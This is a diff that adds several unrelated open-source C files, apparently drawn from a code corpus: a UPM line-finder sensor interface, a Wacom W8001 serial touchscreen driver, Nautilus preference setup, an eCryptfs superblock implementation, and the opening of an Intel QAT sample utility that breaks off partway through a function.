+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+ * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+ * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+ * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+ * LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+ * OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+ * WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+ */
+
+#include "linefinder.h"
+#include <upm_fti.h>
+
+/**
+ * This file implements the Function Table Interface (FTI) for this sensor
+ */
+
+const char upm_linefinder_name[] = "LINEFINDER";
+const char upm_linefinder_description[] = "Line Finder";
+const upm_protocol_t upm_linefinder_protocol[] = {UPM_GPIO};
+const upm_sensor_t upm_linefinder_category[] = {UPM_BINARY};
+
+// forward declarations
+const void* upm_linefinder_get_ft(upm_sensor_t sensor_type);
+void* upm_linefinder_init_name();
+void upm_linefinder_close(void *dev);
+upm_result_t upm_linefinder_black_detected(void *dev, bool *value);
+
+const upm_sensor_descriptor_t upm_linefinder_get_descriptor()
+{
+    upm_sensor_descriptor_t usd;
+    usd.name = upm_linefinder_name;
+    usd.description = upm_linefinder_description;
+    usd.protocol_size = 1;
+    usd.protocol = upm_linefinder_protocol;
+    usd.category_size = 1;
+    usd.category = upm_linefinder_category;
+    return usd;
+}
+
+static const upm_sensor_ft ft =
+{
+  .upm_sensor_init_name = upm_linefinder_init_name,
+  .upm_sensor_close = upm_linefinder_close,
+};
+
+static const upm_binary_ft bft =
+{
+  .upm_binary_get_value = upm_linefinder_black_detected,
+};
+
+const void* upm_linefinder_get_ft(upm_sensor_t sensor_type)
+{
+  switch(sensor_type)
+    {
+    case UPM_SENSOR:
+      return &ft;
+    case UPM_BINARY:
+      return &bft;
+    default:
+      return NULL;
+    }
+}
+
+void *upm_linefinder_init_name()
+{
+  return NULL;
+}
+
+void upm_linefinder_close(void *dev)
+{
+  linefinder_close((linefinder_context)dev);
+}
+
+upm_result_t upm_linefinder_black_detected(void *dev, bool *value)
+{
+  *value = linefinder_black_detected((linefinder_context)dev);
+
+  return UPM_SUCCESS;
+}
diff --git a/pool/shard001/C/0025262_wacom_w8001.c b/pool/shard001/C/0025262_wacom_w8001.c
new file mode 100644
index 0000000000000000000000000000000000000000..383961846b80b2af6013c4fe23ddcfba8452e923
--- /dev/null
+++ b/pool/shard001/C/0025262_wacom_w8001.c
@@ -0,0 +1,284 @@
+/*
+ * Wacom W8001 penabled serial touchscreen driver
+ *
+ * Copyright (c) 2008 Jaya Kumar
+ *
+ * This file is subject to the terms and conditions of the GNU General Public
+ * License. See the file COPYING in the main directory of this archive for
+ * more details.
+ *
+ * Layout based on Elo serial touchscreen driver by Vojtech Pavlik
+ */
+
+#include <linux/errno.h>
+#include <linux/kernel.h>
+#include <linux/module.h>
+#include <linux/slab.h>
+#include <linux/input/mt.h>
+#include <linux/serio.h>
+#include <linux/init.h>
+#include <linux/ctype.h>
+
+#define DRIVER_DESC	"Wacom W8001 serial touchscreen driver"
+
+MODULE_AUTHOR("Jaya Kumar <jayakumar.lkml@gmail.com>");
+MODULE_DESCRIPTION(DRIVER_DESC);
+MODULE_LICENSE("GPL");
+
+#define W8001_MAX_LENGTH	11
+#define W8001_LEAD_MASK		0x80
+#define W8001_LEAD_BYTE		0x80
+#define W8001_TAB_MASK		0x40
+#define W8001_TAB_BYTE		0x40
+
+#define W8001_QUERY_PACKET	0x20
+
+#define W8001_CMD_START		'1'
+#define W8001_CMD_QUERY		'*'
+
+struct w8001_coord {
+	u8 rdy;
+	u8 tsw;
+	u8 f1;
+	u8 f2;
+	u16 x;
+	u16 y;
+	u16 pen_pressure;
+	u8 tilt_x;
+	u8 tilt_y;
+};
+
+/*
+ * Per-touchscreen data.
+ */
+
+struct w8001 {
+	struct input_dev *dev;
+	struct serio *serio;
+	struct completion cmd_done;
+	int id;
+	int idx;
+	unsigned char response_type;
+	unsigned char response[W8001_MAX_LENGTH];
+	unsigned char data[W8001_MAX_LENGTH];
+	char phys[32];
+};
+
+static void parse_data(u8 *data, struct w8001_coord *coord)
+{
+	memset(coord, 0, sizeof(*coord));
+
+	coord->rdy = data[0] & 0x20;
+	coord->tsw = data[0] & 0x01;
+	coord->f1 = data[0] & 0x02;
+	coord->f2 = data[0] & 0x04;
+
+	coord->x = (data[1] & 0x7F) << 9;
+	coord->x |= (data[2] & 0x7F) << 2;
+	coord->x |= (data[6] & 0x60) >> 5;
+
+	coord->y = (data[3] & 0x7F) << 9;
+	coord->y |= (data[4] & 0x7F) << 2;
+	coord->y |= (data[6] & 0x18) >> 3;
+
+	coord->pen_pressure = data[5] & 0x7F;
+	coord->pen_pressure |= (data[6] & 0x07) << 7 ;
+
+	coord->tilt_x = data[7] & 0x7F;
+	coord->tilt_y = data[8] & 0x7F;
+}
+
+static irqreturn_t w8001_interrupt(struct serio *serio,
+				   unsigned char data, unsigned int flags)
+{
+	struct w8001 *w8001 = serio_get_drvdata(serio);
+	struct input_dev *dev = w8001->dev;
+	struct w8001_coord coord;
+	unsigned char tmp;
+
+	w8001->data[w8001->idx] = data;
+	switch (w8001->idx++) {
+	case 0:
+		if ((data & W8001_LEAD_MASK) != W8001_LEAD_BYTE) {
+			pr_debug("w8001: unsynchronized data: 0x%02x\n", data);
+			w8001->idx = 0;
+		}
+		break;
+
+	case 8:
+		tmp = w8001->data[0] & W8001_TAB_MASK;
+		if (unlikely(tmp == W8001_TAB_BYTE))
+			break;
+
+		w8001->idx = 0;
+		parse_data(w8001->data, &coord);
+		input_report_abs(dev, ABS_X, coord.x);
+		input_report_abs(dev, ABS_Y, coord.y);
+		input_report_abs(dev, ABS_PRESSURE, coord.pen_pressure);
+		input_report_key(dev, BTN_TOUCH, coord.tsw);
+		input_sync(dev);
+		break;
+
+	case 10:
+		w8001->idx = 0;
+		memcpy(w8001->response, w8001->data, W8001_MAX_LENGTH);
+		w8001->response_type = W8001_QUERY_PACKET;
+		complete(&w8001->cmd_done);
+		break;
+	}
+
+	return IRQ_HANDLED;
+}
+
+static int w8001_command(struct w8001 *w8001, unsigned char command,
+			 bool wait_response)
+{
+	int rc;
+
+	w8001->response_type = 0;
+	init_completion(&w8001->cmd_done);
+
+	rc = serio_write(w8001->serio, command);
+	if (rc == 0 && wait_response) {
+
+		wait_for_completion_timeout(&w8001->cmd_done, HZ);
+		if (w8001->response_type != W8001_QUERY_PACKET)
+			rc = -EIO;
+	}
+
+	return rc;
+}
+
+static int w8001_setup(struct w8001 *w8001)
+{
+	struct input_dev *dev = w8001->dev;
+	struct w8001_coord coord;
+	int error;
+
+	error = w8001_command(w8001, W8001_CMD_QUERY, true);
+	if (error)
+		return error;
+
+	parse_data(w8001->response, &coord);
+
+	input_set_abs_params(dev, ABS_X, 0, coord.x, 0, 0);
+	input_set_abs_params(dev, ABS_Y, 0, coord.y, 0, 0);
+	input_set_abs_params(dev, ABS_PRESSURE, 0, coord.pen_pressure, 0, 0);
+	input_set_abs_params(dev, ABS_TILT_X, 0, coord.tilt_x, 0, 0);
+	input_set_abs_params(dev, ABS_TILT_Y, 0, coord.tilt_y, 0, 0);
+
+	return w8001_command(w8001, W8001_CMD_START, false);
+}
+
+/*
+ * w8001_disconnect() is the opposite of w8001_connect()
+ */
+
+static void w8001_disconnect(struct serio *serio)
+{
+	struct w8001 *w8001 = serio_get_drvdata(serio);
+
+	input_get_device(w8001->dev);
+	input_unregister_device(w8001->dev);
+	serio_close(serio);
+	serio_set_drvdata(serio, NULL);
+	input_put_device(w8001->dev);
+	kfree(w8001);
+}
+
+/*
+ * w8001_connect() is the routine that is called when someone adds a
+ * new serio device that supports the w8001 protocol and registers it as
+ * an input device.
+ */
+
+static int w8001_connect(struct serio *serio, struct serio_driver *drv)
+{
+	struct w8001 *w8001;
+	struct input_dev *input_dev;
+	int err;
+
+	w8001 = kzalloc(sizeof(struct w8001), GFP_KERNEL);
+	input_dev = input_allocate_device();
+	if (!w8001 || !input_dev) {
+		err = -ENOMEM;
+		goto fail1;
+	}
+
+	w8001->serio = serio;
+	w8001->id = serio->id.id;
+	w8001->dev = input_dev;
+	init_completion(&w8001->cmd_done);
+	snprintf(w8001->phys, sizeof(w8001->phys), "%s/input0", serio->phys);
+
+	input_dev->name = "Wacom W8001 Penabled Serial TouchScreen";
+	input_dev->phys = w8001->phys;
+	input_dev->id.bustype = BUS_RS232;
+	input_dev->id.vendor = SERIO_W8001;
+	input_dev->id.product = w8001->id;
+	input_dev->id.version = 0x0100;
+	input_dev->dev.parent = &serio->dev;
+
+	input_dev->evbit[0] = BIT_MASK(EV_KEY) | BIT_MASK(EV_ABS);
+	input_dev->keybit[BIT_WORD(BTN_TOUCH)] = BIT_MASK(BTN_TOUCH);
+
+	serio_set_drvdata(serio, w8001);
+	err = serio_open(serio, drv);
+	if (err)
+		goto fail2;
+
+	err = w8001_setup(w8001);
+	if (err)
+		goto fail3;
+
+	err = input_register_device(w8001->dev);
+	if (err)
+		goto fail3;
+
+	return 0;
+
+fail3:
+	serio_close(serio);
+fail2:
+	serio_set_drvdata(serio, NULL);
+fail1:
+	input_free_device(input_dev);
+	kfree(w8001);
+	return err;
+}
+
+static struct serio_device_id w8001_serio_ids[] = {
+	{
+		.type	= SERIO_RS232,
+		.proto	= SERIO_W8001,
+		.id	= SERIO_ANY,
+		.extra	= SERIO_ANY,
+	},
+	{ 0 }
+};
+
+MODULE_DEVICE_TABLE(serio, w8001_serio_ids);
+
+static struct serio_driver w8001_drv = {
+	.driver		= {
+		.name	= "w8001",
+	},
+	.description	= DRIVER_DESC,
+	.id_table	= w8001_serio_ids,
+	.interrupt	= w8001_interrupt,
+	.connect	= w8001_connect,
+	.disconnect	= w8001_disconnect,
+};
+
+static int __init w8001_init(void)
+{
+	return serio_register_driver(&w8001_drv);
+}
+
+static void __exit w8001_exit(void)
+{
+	serio_unregister_driver(&w8001_drv);
+}
+
+module_init(w8001_init);
+module_exit(w8001_exit);
diff --git a/pool/shard001/C/0025281_nautilus-global-preferences.c b/pool/shard001/C/0025281_nautilus-global-preferences.c
new file mode 100644
index 0000000000000000000000000000000000000000..75afe0fd7d7d436fa7715740d7123b146925acfa
--- /dev/null
+++ b/pool/shard001/C/0025281_nautilus-global-preferences.c
@@ -0,0 +1,91 @@
+/* -*- Mode: C; indent-tabs-mode: t; c-basic-offset: 8; tab-width: 8 -*- */
+
+/* nautilus-global-preferences.c - Nautilus specific preference keys and
+                                   functions.
+
+   Copyright (C) 1999, 2000, 2001 Eazel, Inc.
+
+   The Gnome Library is free software; you can redistribute it and/or
+   modify it under the terms of the GNU Library General Public License as
+   published by the Free Software Foundation; either version 2 of the
+   License, or (at your option) any later version.
+
+   The Gnome Library is distributed in the hope that it will be useful,
+   but WITHOUT ANY WARRANTY; without even the implied warranty of
+   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+   Library General Public License for more details.
+
+   You should have received a copy of the GNU Library General Public
+   License along with the Gnome Library; see the file COPYING.LIB.  If not,
+   see <http://www.gnu.org/licenses/>.
+
+   Authors: Ramiro Estrugo <ramiro@eazel.com>
+*/
+
+#include <config.h>
+#include "nautilus-global-preferences.h"
+
+#include "nautilus-file-utilities.h"
+#include "nautilus-file.h"
+#include <eel/eel-glib-extensions.h>
+#include <eel/eel-gtk-extensions.h>
+#include <eel/eel-stock-dialogs.h>
+#include <eel/eel-string.h>
+#include <glib/gi18n.h>
+
+GSettings *nautilus_preferences;
+GSettings *nautilus_icon_view_preferences;
+GSettings *nautilus_list_view_preferences;
+GSettings *nautilus_desktop_preferences;
+GSettings *nautilus_window_state;
+GSettings *gtk_filechooser_preferences;
+GSettings *gnome_lockdown_preferences;
+GSettings *gnome_background_preferences;
+GSettings *gnome_interface_preferences;
+GSettings *gnome_privacy_preferences;
+
+/*
+ * Public functions
+ */
+char *
+nautilus_global_preferences_get_default_folder_viewer_preference_as_iid (void)
+{
+	int preference_value;
+	const char *viewer_iid;
+
+	preference_value =
+		g_settings_get_enum (nautilus_preferences, NAUTILUS_PREFERENCES_DEFAULT_FOLDER_VIEWER);
+
+	if (preference_value == NAUTILUS_DEFAULT_FOLDER_VIEWER_LIST_VIEW) {
+		viewer_iid = NAUTILUS_LIST_VIEW_IID;
+	} else {
+		viewer_iid = NAUTILUS_CANVAS_VIEW_IID;
+	}
+
+	return g_strdup (viewer_iid);
+}
+
+void
+nautilus_global_preferences_init (void)
+{
+	static gboolean initialized = FALSE;
+
+	if (initialized) {
+		return;
+	}
+
+	initialized = TRUE;
+
+	nautilus_preferences = g_settings_new("org.gnome.nautilus.preferences");
+	nautilus_window_state = g_settings_new("org.gnome.nautilus.window-state");
+	nautilus_icon_view_preferences = g_settings_new("org.gnome.nautilus.icon-view");
+	nautilus_list_view_preferences = g_settings_new("org.gnome.nautilus.list-view");
+	nautilus_desktop_preferences = g_settings_new("org.gnome.nautilus.desktop");
+        /* Some settings such as show hidden files are shared between Nautilus and GTK file chooser */
+        gtk_filechooser_preferences = g_settings_new_with_path ("org.gtk.Settings.FileChooser",
+                                                                "/org/gtk/settings/file-chooser/");
+	gnome_lockdown_preferences = g_settings_new("org.gnome.desktop.lockdown");
+	gnome_background_preferences = g_settings_new("org.gnome.desktop.background");
+	gnome_interface_preferences = g_settings_new ("org.gnome.desktop.interface");
+	gnome_privacy_preferences = g_settings_new ("org.gnome.desktop.privacy");
+}
diff --git a/pool/shard001/C/0025309_super.c b/pool/shard001/C/0025309_super.c
new file mode 100644
index 0000000000000000000000000000000000000000..e105791248e6db6a4b0d7a3e38f887f6223ad007
--- /dev/null
+++ b/pool/shard001/C/0025309_super.c
@@ -0,0 +1,301 @@
+/**
+ * eCryptfs: Linux filesystem encryption layer
+ *
+ * Copyright (C) 1997-2003 Erez Zadok
+ * Copyright (C) 2001-2003 Stony Brook University
+ * Copyright (C) 2004-2006 International Business Machines Corp.
+ *   Author(s): Michael A. Halcrow <mahalcro@us.ibm.com>
+ *              Michael C. Thompson <mcthomps@us.ibm.com>
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License as
+ * published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful, but
+ * WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
+ */
+
+#include <linux/fs.h>
+#include <linux/mount.h>
+#include <linux/key.h>
+#include <linux/slab.h>
+#include <linux/seq_file.h>
+#include <linux/file.h>
+#include <linux/crypto.h>
+#include <linux/statfs.h>
+#include <linux/magic.h>
+#include "ecryptfs_kernel.h"
+#ifdef CONFIG_SDP
+#include "ecryptfs_dek.h"
+#endif
+
+struct kmem_cache *ecryptfs_inode_info_cache;
+
+/**
+ * ecryptfs_alloc_inode - allocate an ecryptfs inode
+ * @sb: Pointer to the ecryptfs super block
+ *
+ * Called to bring an inode into existence.
+ *
+ * Only handle allocation, setting up structures should be done in
+ * ecryptfs_read_inode. This is because the kernel, between now and
+ * then, will 0 out the private data pointer.
+ *
+ * Returns a pointer to a newly allocated inode, NULL otherwise
+ */
+static struct inode *ecryptfs_alloc_inode(struct super_block *sb)
+{
+	struct ecryptfs_inode_info *inode_info;
+	struct inode *inode = NULL;
+
+	inode_info = kmem_cache_alloc(ecryptfs_inode_info_cache, GFP_KERNEL);
+	if (unlikely(!inode_info))
+		goto out;
+	ecryptfs_init_crypt_stat(&inode_info->crypt_stat);
+	mutex_init(&inode_info->lower_file_mutex);
+	atomic_set(&inode_info->lower_file_count, 0);
+	inode_info->lower_file = NULL;
+#ifdef CONFIG_SDP
+	// get userid from super block
+	inode_info->crypt_stat.engine_id = -1;
+#endif
+	inode = &inode_info->vfs_inode;
+out:
+	return inode;
+}
+
+static void ecryptfs_i_callback(struct rcu_head *head)
+{
+	struct inode *inode = container_of(head, struct inode, i_rcu);
+	struct ecryptfs_inode_info *inode_info;
+	inode_info = ecryptfs_inode_to_private(inode);
+
+	kmem_cache_free(ecryptfs_inode_info_cache, inode_info);
+}
+
+/**
+ * ecryptfs_destroy_inode
+ * @inode: The ecryptfs inode
+ *
+ * This is used during the final destruction of the inode.  All
+ * allocation of memory related to the inode, including allocated
+ * memory in the crypt_stat struct, will be released here.
+ * There should be no chance that this deallocation will be missed.
+ */
+static void ecryptfs_destroy_inode(struct inode *inode)
+{
+	struct ecryptfs_inode_info *inode_info;
+
+	inode_info = ecryptfs_inode_to_private(inode);
+	BUG_ON(inode_info->lower_file);
+	ecryptfs_destroy_crypt_stat(&inode_info->crypt_stat);
+	call_rcu(&inode->i_rcu, ecryptfs_i_callback);
+}
+
+/**
+ * ecryptfs_statfs
+ * @sb: The ecryptfs super block
+ * @buf: The struct kstatfs to fill in with stats
+ *
+ * Get the filesystem statistics. Currently, we let this pass right through
+ * to the lower filesystem and take no action ourselves.
+ */
+static int ecryptfs_statfs(struct dentry *dentry, struct kstatfs *buf)
+{
+	struct dentry *lower_dentry = ecryptfs_dentry_to_lower(dentry);
+	int rc;
+
+	if (!lower_dentry->d_sb->s_op->statfs)
+		return -ENOSYS;
+
+	rc = lower_dentry->d_sb->s_op->statfs(lower_dentry, buf);
+	if (rc)
+		return rc;
+
+	buf->f_type = ECRYPTFS_SUPER_MAGIC;
+	rc = ecryptfs_set_f_namelen(&buf->f_namelen, buf->f_namelen,
+	       &ecryptfs_superblock_to_private(dentry->d_sb)->mount_crypt_stat);
+
+	return rc;
+}
+
+/**
+ * ecryptfs_evict_inode
+ * @inode - The ecryptfs inode
+ *
+ * Called by iput() when the inode reference count reached zero
+ * and the inode is not hashed anywhere.  Used to clear anything
+ * that needs to be, before the inode is completely destroyed and put
+ * on the inode free list. We use this to drop out reference to the
+ * lower inode.
+ */
+static void ecryptfs_evict_inode(struct inode *inode)
+{
+	truncate_inode_pages(&inode->i_data, 0);
+	clear_inode(inode);
+	iput(ecryptfs_inode_to_lower(inode));
+}
+
+/**
+ * ecryptfs_show_options
+ *
+ * Prints the mount options for a given superblock.
+ * Returns zero; does not fail.
+ */
+static int ecryptfs_show_options(struct seq_file *m, struct dentry *root)
+{
+	struct super_block *sb = root->d_sb;
+	struct ecryptfs_mount_crypt_stat *mount_crypt_stat =
+		&ecryptfs_superblock_to_private(sb)->mount_crypt_stat;
+	struct ecryptfs_propagate_stat *propagate_stat =
+		&ecryptfs_superblock_to_private(sb)->propagate_stat;
+	struct ecryptfs_global_auth_tok *walker;
+
+	mutex_lock(&mount_crypt_stat->global_auth_tok_list_mutex);
+	list_for_each_entry(walker,
+			    &mount_crypt_stat->global_auth_tok_list,
+			    mount_crypt_stat_list) {
+		if (walker->flags & ECRYPTFS_AUTH_TOK_FNEK)
+			seq_printf(m, ",ecryptfs_fnek_sig=%s", walker->sig);
+		else
+			seq_printf(m, ",ecryptfs_sig=%s", walker->sig);
+	}
+	mutex_unlock(&mount_crypt_stat->global_auth_tok_list_mutex);
+
+#ifdef CONFIG_SDP
+	seq_printf(m, ",userid=%d", mount_crypt_stat->userid);
+
+	if (mount_crypt_stat->flags & ECRYPTFS_MOUNT_SDP_ENABLED){
+		seq_printf(m, ",sdp_enabled");
+	}
+	if (mount_crypt_stat->partition_id >= 0){
+	    seq_printf(m, ",partition_id=%d", mount_crypt_stat->partition_id);
+	}
+#endif
+
+#ifdef CONFIG_DLP
+	if (mount_crypt_stat->flags & ECRYPTFS_MOUNT_DLP_ENABLED){
+		seq_printf(m, ",dlp_enabled");
+	}
+#endif
+	seq_printf(m, ",ecryptfs_cipher=%s",
+		mount_crypt_stat->global_default_cipher_name);
+
+	if (mount_crypt_stat->global_default_cipher_key_size)
+		seq_printf(m, ",ecryptfs_key_bytes=%zd",
+			   mount_crypt_stat->global_default_cipher_key_size);
+#ifdef CONFIG_WTL_ENCRYPTION_FILTER
+	if (mount_crypt_stat->flags & ECRYPTFS_ENABLE_FILTERING)
+		seq_printf(m, ",ecryptfs_enable_filtering");
+#endif
+#if defined(CONFIG_CRYPTO_FIPS) && !defined(CONFIG_FORCE_DISABLE_FIPS)
+	if (mount_crypt_stat->flags & ECRYPTFS_ENABLE_CC)
+		seq_printf(m, ",ecryptfs_enable_cc");
+#endif
+	if (mount_crypt_stat->flags & ECRYPTFS_PLAINTEXT_PASSTHROUGH_ENABLED)
+		seq_printf(m, ",ecryptfs_passthrough");
+	if (mount_crypt_stat->flags & ECRYPTFS_XATTR_METADATA_ENABLED)
+		seq_printf(m, ",ecryptfs_xattr_metadata");
+	if (mount_crypt_stat->flags & ECRYPTFS_ENCRYPTED_VIEW_ENABLED)
+		seq_printf(m, ",ecryptfs_encrypted_view");
+	if (mount_crypt_stat->flags & ECRYPTFS_UNLINK_SIGS)
+		seq_printf(m, ",ecryptfs_unlink_sigs");
+	if (mount_crypt_stat->flags & ECRYPTFS_GLOBAL_MOUNT_AUTH_TOK_ONLY)
+		seq_printf(m, ",ecryptfs_mount_auth_tok_only");
+
+	seq_printf(m, ",base=%s", propagate_stat->base_path);
+	if (propagate_stat->propagate_type == TYPE_E_DEFAULT)
+		seq_printf(m, ",type=default");
+	else if (propagate_stat->propagate_type == TYPE_E_READ)
+		seq_printf(m, ",type=read");
+	else if (propagate_stat->propagate_type == TYPE_E_WRITE)
+		seq_printf(m, ",type=write");
+	seq_printf(m, ",label=%s", propagate_stat->label);	
+
+	return 0;
+}
+
+static long ecryptfs_propagate_lookup(struct super_block *sb, char *pathname){
+	int ret = 0;
+	char *propagate_path;
+	struct ecryptfs_sb_info *sbi;
+	struct ecryptfs_propagate_stat *stat;
+	struct path sibling_path;
+	const struct cred *saved_cred = NULL;
+
+	sbi = ecryptfs_superblock_to_private(sb);
+	stat = &sbi->propagate_stat;
+	ECRYPTFS_OVERRIDE_ROOT_CRED(saved_cred);
+	propagate_path = kmalloc(PATH_MAX, GFP_KERNEL);
+	if (!propagate_path) {
+		ECRYPTFS_REVERT_CRED(saved_cred);
+		return -ENOMEM;
+	}
+	if (stat->propagate_type != TYPE_E_NONE && stat->propagate_type != TYPE_E_DEFAULT) {
+		snprintf(propagate_path, PATH_MAX, "%s/%s/%s/%s",
+				stat->base_path, "default", stat->label, pathname);
+		ret = (long)kern_path(propagate_path, LOOKUP_FOLLOW, &sibling_path);
+		if (!ret) {
+			path_put(&sibling_path);
+		}
+	}
+
+	if (stat->propagate_type != TYPE_E_NONE && stat->propagate_type != TYPE_E_READ) {
+		snprintf(propagate_path, PATH_MAX, "%s/%s/%s/%s",
+				stat->base_path, "read", stat->label, pathname);
+		ret = (long)kern_path(propagate_path, LOOKUP_FOLLOW, &sibling_path);
+		if (!ret) {
+			path_put(&sibling_path);
+		}
+	}
+
+	if (stat->propagate_type != TYPE_E_NONE && stat->propagate_type != TYPE_E_WRITE) {
+		snprintf(propagate_path, PATH_MAX, "%s/%s/%s/%s",
+				stat->base_path, "write", stat->label, pathname);
+		ret = (long)kern_path(propagate_path, LOOKUP_FOLLOW, &sibling_path);
+		if (!ret) {
+			path_put(&sibling_path);
+		}
+	}
+
+	if (stat->propagate_type != TYPE_E_NONE) {
+		snprintf(propagate_path, PATH_MAX, "/storage/%s/%s",
+				stat->label, pathname);
+		ret = (long)kern_path(propagate_path, LOOKUP_FOLLOW, &sibling_path);
+		if (!ret) {
+			path_put(&sibling_path);
+		}
+	}
+	ECRYPTFS_REVERT_CRED(saved_cred);
+	kfree(propagate_path);
+	return ret;
+}
+
+const struct super_operations ecryptfs_sops = {
+	.alloc_inode = ecryptfs_alloc_inode,
+	.destroy_inode = ecryptfs_destroy_inode,
+	.statfs = ecryptfs_statfs,
+	.remount_fs = NULL,
+	.evict_inode = ecryptfs_evict_inode,
+	.show_options = ecryptfs_show_options,
+	.drop_inode = generic_delete_inode,
+};
+
+const struct super_operations ecryptfs_multimount_sops = {
+	.alloc_inode = ecryptfs_alloc_inode,
+	.destroy_inode = ecryptfs_destroy_inode,
+	.statfs = ecryptfs_statfs,
+	.remount_fs = NULL,
+	.evict_inode = ecryptfs_evict_inode,
+	.show_options = ecryptfs_show_options,
+	.drop_inode = generic_delete_inode,
+	.unlink_callback = ecryptfs_propagate_lookup,
+};
diff --git a/pool/shard001/C/0025339_cpa_sample_utils.c b/pool/shard001/C/0025339_cpa_sample_utils.c
new file mode 100644
index 0000000000000000000000000000000000000000..710ab2bd192af72d9ed24419b341d6f3e18ba014
--- /dev/null
+++ b/pool/shard001/C/0025339_cpa_sample_utils.c
@@ -0,0 +1,267 @@
+/***************************************************************************
+ * 
+ * This file is provided under a dual BSD/GPLv2 license.  When using or 
+ *   redistributing this file, you may do so under either license.
+ * 
+ *   GPL LICENSE SUMMARY
+ * 
+ *   Copyright(c) 2007-2013 Intel Corporation. All rights reserved.
+ * 
+ *   This program is free software; you can redistribute it and/or modify 
+ *   it under the terms of version 2 of the GNU General Public License as
+ *   published by the Free Software Foundation.
+ * 
+ *   This program is distributed in the hope that it will be useful, but 
+ *   WITHOUT ANY WARRANTY; without even the implied warranty of 
+ *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU 
+ *   General Public License for more details.
+ * 
+ *   You should have received a copy of the GNU General Public License 
+ *   along with this program; if not, write to the Free Software 
+ *   Foundation, Inc., 51 Franklin St - Fifth Floor, Boston, MA 02110-1301 USA.
+ *   The full GNU General Public License is included in this distribution 
+ *   in the file called LICENSE.GPL.
+ * 
+ *   Contact Information:
+ *   Intel Corporation
+ * 
+ *   BSD LICENSE 
+ * 
+ *   Copyright(c) 2007-2013 Intel Corporation. All rights reserved.
+ *   All rights reserved.
+ * 
+ *   Redistribution and use in source and binary forms, with or without 
+ *   modification, are permitted provided that the following conditions 
+ *   are met:
+ * 
+ *     * Redistributions of source code must retain the above copyright 
+ *       notice, this list of conditions and the following disclaimer.
+ *     * Redistributions in binary form must reproduce the above copyright 
+ *       notice, this list of conditions and the following disclaimer in 
+ *       the documentation and/or other materials provided with the 
+ *       distribution.
+ *     * Neither the name of Intel Corporation nor the names of its 
+ *       contributors may be used to endorse or promote products derived 
+ *       from this software without specific prior written permission.
+ * 
+ *   THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 
+ *   "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 
+ *   LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR 
+ *   A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT 
+ *   OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 
+ *   SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 
+ *   LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 
+ *   DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 
+ *   THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 
+ *   (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 
+ *   OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ * 
+ * 
+ *  version: QAT1.5.L.1.11.0-36
+ *
+ ***************************************************************************/
+
+/**
+ *****************************************************************************
+ * @file cpa_sample_utils.c
+ *
+ * @ingroup sampleCode
+ *
+ * @description
+ * Defines functions to get an instance and poll an instance
+ *
+ ***************************************************************************/
+
+#include "cpa_sample_utils.h"
+#include "cpa_dc.h"
+#include "icp_sal_poll.h"
+
+/*
+ * Maximum number of instances to query from the API
+ */
+#define MAX_INSTANCES 1
+
+#ifdef DO_CRYPTO
+static sampleThread gPollingThread;
+static int gPollingCy = 0;
+#endif
+
+static sampleThread gPollingThreadDc;
+static int gPollingDc = 0;
+
+/* *************************************************************
+ *
+ * Common instance funcitons
+ *
+ * ************************************************************* */
+
+/*
+ * This function returns a handle to an instance of the cryptographic
+ * API.  It does this by querying the API for all instances and
+ * returning the first such instance.
+ */
+//<snippet name="getInstance">
+#ifdef DO_CRYPTO
+void
+sampleCyGetInstance(CpaInstanceHandle* pCyInstHandle)
+{
+    CpaInstanceHandle cyInstHandles[MAX_INSTANCES];
+    Cpa16U numInstances = 0;
+    CpaStatus status = CPA_STATUS_SUCCESS;
+
+    *pCyInstHandle = NULL;
+
+    status = cpaCyGetNumInstances(&numInstances);
+    if ((status == CPA_STATUS_SUCCESS) && (numInstances > 0))
+    {
+        status = cpaCyGetInstances(MAX_INSTANCES, cyInstHandles);
+        if (status == CPA_STATUS_SUCCESS)
+        {
+            *pCyInstHandle = cyInstHandles[0];
+        }
+    }
+
+    if (0 == numInstances)
+    {
+        PRINT_ERR("No instances found for 'SSL'\n");
+        PRINT_ERR("Please check your section names in the config file.\n");
+        PRINT_ERR("Also make sure to use config file version 2.\n");
+    }
+   
+}
+#endif
+//</snippet>
+
+/* 
+ * This function polls a crypto instance.
+ *
+ */
+#ifdef DO_CRYPTO
+static void
+sal_polling(CpaInstanceHandle cyInstHandle)
+{
+   gPollingCy = 1;
+   while(gPollingCy)
+   {
+       icp_sal_CyPollInstance(cyInstHandle, 0);
+       OS_SLEEP(10);
